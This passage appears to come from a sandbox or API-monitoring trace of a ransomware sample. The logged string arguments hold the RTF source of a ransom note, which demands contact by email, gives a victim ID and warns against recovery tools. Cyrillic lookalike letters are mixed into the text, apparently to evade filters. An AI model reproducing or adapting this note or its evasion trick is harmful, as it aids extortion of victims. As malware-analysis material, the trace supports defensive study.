th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will 